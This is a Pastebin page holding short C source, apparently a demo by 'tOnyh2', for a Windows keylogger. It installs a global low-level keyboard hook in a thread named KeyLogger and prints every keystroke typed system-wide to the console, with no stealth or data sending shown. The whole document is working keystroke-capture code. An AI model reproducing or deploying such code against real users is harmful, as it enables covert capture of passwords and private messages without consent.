Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- HHOOK hKeyHook;
- __declspec(dllexport) LRESULT CALLBACK KeyEvent(int nCode, WPARAM wParam, LPARAM lParam )
- {
- BYTE KeyState[256];
- WORD wBuf;
- char ch;
- if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
- {
- KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
- GetKeyboardState(KeyState);
- ToAscii(hooked.vkCode, hooked.scanCode ,KeyState, &wBuf, 0);
- switch(hooked.vkCode)
- {
- case 9:
- printf("<TAB>");
- break;
- case 13:
- printf("<ENTER>");
- break;
- case VK_BACK:
- printf("<delete>");
- break;
- case VK_DELETE:
- printf("<Suppr>");
- break;
- default :
- ch = (char)wBuf;
- printf("%c", ch);
- break;
- }
- }
- return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
- }
- void MsgLoop()
- {
- MSG message;
- printf("[hook clavier en cours ...]\n");
- while (GetMessage(&message, NULL, 0, 0))
- {
- TranslateMessage(&message);
- DispatchMessage(&message);
- }
- }
- DWORD WINAPI KeyLogger(LPVOID lpParameter)
- {
- HINSTANCE hExe = GetModuleHandle(NULL);
- if (!hExe) return 1;
- hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyEvent, hExe, NULL);
- MsgLoop();
- UnhookWindowsHookEx(hKeyHook);
- return 0;
- }
- int main()
- {
- HANDLE hThread;
- DWORD dwThread;
- DWORD exThread;
- printf("\n[Exemple de Hook Clavier] by tOnyh2\n");
- hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID)NULL, NULL, &dwThread);
- return WaitForSingleObject(hThread,INFINITE);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement